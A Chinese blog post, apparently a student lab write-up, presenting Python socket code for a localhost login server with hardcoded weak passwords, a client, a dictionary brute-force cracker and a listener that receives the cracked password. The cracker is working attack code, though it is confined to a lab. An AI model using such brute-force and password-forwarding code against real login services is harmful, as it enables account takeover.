字典破解密码实验(Python3)

必须吐槽一下,校内实习真的服,都不知道这些老师那里搜的题,这也就算了,不能读一遍看看能不能读的通顺,看着这种读不通的题做都不想做

先写一个系统,实现客户端远程登录服务端:

服务端代码:

import socket,os
#创建套接字
s=socket.socket()
#设置关闭套接字时立刻释放端口
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
#绑定服务端端口
s.bind(('',1234))
#开始监听
s.listen(1)
#账号和密码
user={"admin":"123456","user":"1234567","guest":"123456"}
#接收连接的客户端的信息
sock,addr=s.accept()
print(addr[0]+"已连接")
while 1:
	#接收客户端发送的信息
    receive=sock.recv(1024).decode()
    receive=receive.split()
	#判断账号密码是否正确,正确发送T,错误发送F
    if user[receive[0]]==receive[1]:
        sock.send("T".encode())
        break
    else:
        sock.send("F".encode())
sock.close()
s.close()


os.system("pause")

客户端代码:

import socket,os
c=socket.socket()
#连接服务端,服务端ip地址:127.0.0.1,端口:1234
c.connect(('127.0.0.1',1234))
while 1:
	uspw=input("输入账号和密码,空格隔开:")
	#发送账号密码给服务端
	c.send(uspw.encode())
	#接收服务端返回信息
	receive=c.recv(1).decode()
	if receive=="T":
		print("登录成功")
		break
c.close()
os.system("pause")

然后是实现在服务器端所在设备进行字典破解,并发送到客户端所在设备的密码接收端:

字典破解代码:

import socket,os
p=socket.socket()
p.connect(('127.0.0.1',1234))
us=input("输入要破解的用户名:")
file=input("输入字典文件名:")
#只读方式打开字典文件
dic=open(file,'r')
while 1:
	#读取一行
    pasd=dic.readline()
	#拼接用户名和密码
    sed=us+' '+pasd
	#发送给服务端
    p.send(sed.encode())
    rec=p.recv(1).decode()
	#服务端返回T说明密码正确
    if rec=="T":
        print("密码是:",pasd)
        break
p.close()
#发送给密码接收器
p=socket.socket()
p.connect(('127.0.0.1',6666))
pasd="密码是:"+pasd
p.send(pasd.encode())
p.close()
os.system("pause")

密码接收端代码:

import socket,os
p=socket.socket()
p.bind(('',6666))
p.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
p.listen(1)
pr,ip=p.accept()
print("正在接收密码...")
passwd=pr.recv(1024).decode()
#接收破解器发送的信息
print(passwd)
p.close()
os.system("pause")

在服务器运行服务端和字典破解程序,客户端运行密码接收器,获取破解的密码后用客户端登录

运行结果:

(1)

(2)

(3)

源代码下载

原文地址:https://www.cnblogs.com/hzcya1995/p/13302378.html